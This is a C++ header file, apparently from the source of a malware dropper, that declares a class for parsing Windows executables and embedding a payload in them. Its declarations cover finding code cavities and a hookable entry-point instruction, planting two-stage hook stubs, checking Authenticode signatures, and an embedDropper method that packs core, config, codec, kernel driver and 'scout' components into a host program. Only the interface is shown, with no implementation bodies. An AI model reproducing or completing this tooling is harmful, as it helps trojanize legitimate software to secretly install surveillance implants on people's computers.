RCSDropper/PEObject.h
#ifndef _PEOBJECT_H
#define _PEOBJECT_H
#include <vector>
#include <iostream>
#include <fstream>
#include <map>
#include <ostream>
#include <string>
using namespace std;
#include <boost/scoped_ptr.hpp>
#include <boost/filesystem.hpp>
#include <boost/function.hpp>
namespace bf = boost::filesystem;
#include "common.h"
#include "tree.hpp"
#include "GenericSection.h"
#include "IATEntry.h"
#include "../libs/BeaEngine/BeaEngine.h"
#define STAGE1_STUB_SIZE 5 // call near, 32bit address
#define PE_MAX_DATA_SECTIONS 64
#define endian_swap4byte(x) \
x = ((x & 0x000000FF) << 24) | \
((x & 0x0000FF00) << 8) | \
((x & 0x00FF0000) >> 8) | \
((x & 0xFF000000) >> 24)
typedef struct _PE_DOS_HEADER
{
IMAGE_DOS_HEADER* header;
std::size_t stub_size;
char* stub;
} PEDOSHEADER;
typedef struct _PE_SECTION
{
IMAGE_SECTION_HEADER* header;
char* data;
} PESECTION;
typedef struct RESOURCE_DIRECTORY {
IMAGE_RESOURCE_DIRECTORY Header;
IMAGE_RESOURCE_DIRECTORY_ENTRY Entries[1];
} *PRESOURCE_DIRECTORY;
class GenericSection;
class DropperObject;
class ResourceSection;
class ResourceDirectory;
class parsing_error : public std::exception
{
public:
parsing_error(const std::string& msg) : std::exception(msg.c_str()) {}
};
typedef struct _cavity_t {
char* ptr;
DWORD va;
std::size_t size;
} Cavity;
class PEObject
{
private:
//std::fstream _sourceFile;
//std::fstream _destinationFile;
char* _rawData;
std::size_t _fileSize;
PEDOSHEADER _dosHeader;
IMAGE_NT_HEADERS *_ntHeader;
std::vector<GenericSection *> _sections;
GenericSection *_eofData;
std::size_t _sectionHeadersPaddingSize;
char* _sectionHeadersPadding;
std::size_t _boundImportTableSize;
PBYTE _boundImportTable;
DWORD _oep; // AddressOfEntryPoint
struct {
int ExitProcess;
int exit;
int _exit;
} functionIndex;
std::vector< Cavity > _cavities;
std::map< std::string, std::map<std::string, DWORD> > _calls;
IATEntries _iat;
struct {
struct {
char* ptr;
DWORD va;
DWORD size;
} stage1;
struct {
char* ptr;
DWORD va;
DWORD size;
} stage2;
} _hookPointer;
// TODO this should be removed in favor of the above map
DWORD _pLoadLibrary;
DWORD _pGetProcAddress;
bool _parseDOSHeader();
bool _parseNTHeader();
bool _parseIAT();
bool _parseResources();
void _findHookableInstruction();
bool _parseText();
struct {
ResourceDirectory* dir;
std::size_t size;
} _resources;
ResourceDirectory* _scanResources(char const * const data);
ResourceDirectory* _scanResources(PRESOURCE_DIRECTORY rdRoot, PRESOURCE_DIRECTORY rdToScan, DWORD level);
bool _updateResource(WCHAR* type, WCHAR* name, LANGID lang, PBYTE data, DWORD size);
bool _updateResource(WORD type, WCHAR* name, LANGID lang, PBYTE data, DWORD size)
{
return _updateResource(MAKEINTRESOURCEW(type), name, lang, data, size);
}
bool _updateResource(WCHAR* type, WORD name, LANGID lang, BYTE* data, DWORD size)
{
return _updateResource(type, MAKEINTRESOURCEW(name), lang, data, size);
}
bool _updateResource(WORD type, WORD name, LANGID lang, BYTE* data, DWORD size)
{
return _updateResource(MAKEINTRESOURCEW(type), MAKEINTRESOURCEW(name), lang, data, size);
}
DWORD _sizeOfResources();
void _setResourceOffsets(ResourceDirectory* resDir, DWORD newResDirAt);
bool _fixManifest();
std::size_t _writeResources( char* data, DWORD virtualAddress );
void _disassembleCode(unsigned char *start, unsigned char *end, int VA);
public:
PEObject(char* data, std::size_t size);
virtual ~PEObject(void);
unsigned char * atOffset(DWORD offset)
{
if (offset > _fileSize)
return NULL;
return (unsigned char *)( ((DWORD)this->_rawData) + offset);
}
unsigned char * atRVA(DWORD rva)
{
DWORD offset = this->offset(rva);
if (offset == 0)
return NULL;
return rva == 0 ? NULL : (unsigned char *)atOffset(offset);
}
DWORD offset(DWORD _rva);
std::size_t resourceSize() { return _resources.size; }
DWORD imageBase() { return _ntHeader->OptionalHeader.ImageBase; }
DWORD fileAlignment() { return _ntHeader->OptionalHeader.FileAlignment; }
DWORD sectionAlignment() { return _ntHeader->OptionalHeader.SectionAlignment; }
PEDOSHEADER dosHeader() { return _dosHeader; }
PIMAGE_NT_HEADERS ntHeaders() { return _ntHeader; }
PIMAGE_DATA_DIRECTORY dataDirectory(DWORD entry) { return &_ntHeader->OptionalHeader.DataDirectory[entry]; }
bool parse();
bool saveToFile( std::string filename );
DWORD epRVA() { return _ntHeader->OptionalHeader.AddressOfEntryPoint; }
DWORD epVA() { return _ntHeader->OptionalHeader.ImageBase + _ntHeader->OptionalHeader.AddressOfEntryPoint; }
void writeData(DWORD rva, char * data, size_t size);
unsigned char* GetOEPCode();
bool hasResources() { return _ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress == 0 ? false : true; }
GenericSection* getSection( DWORD directoryEntryID );
GenericSection* findSection( DWORD rva );
void setSection( DWORD directoryEntryID, GenericSection* section );
void setSection( DWORD directoryEntryID, DWORD VirtualAddress, DWORD VirtualSize );
bool isAuthenticodeSigned();
bool embedDropper( bf::path core, bf::path core64, bf::path config, bf::path codec, bf::path driver, bf::path driver64, std::string installDir, bool fixManifest, std::string fPrefix, bf::path demoBitmap, BOOL isScout, bf::path scout);
typedef struct {
DISASM d;
std::size_t len;
} disassembled_instruction;
std::vector<disassembled_instruction> instructions_;
disassembled_instruction hookedInstruction_;
IATEntry const & getIATEntry( std::string const dll, std::string const call );
IATEntry const & getIATEntry( DWORD const rva );
ULONG exeType;
};
#endif /* _PEOBJECT_H */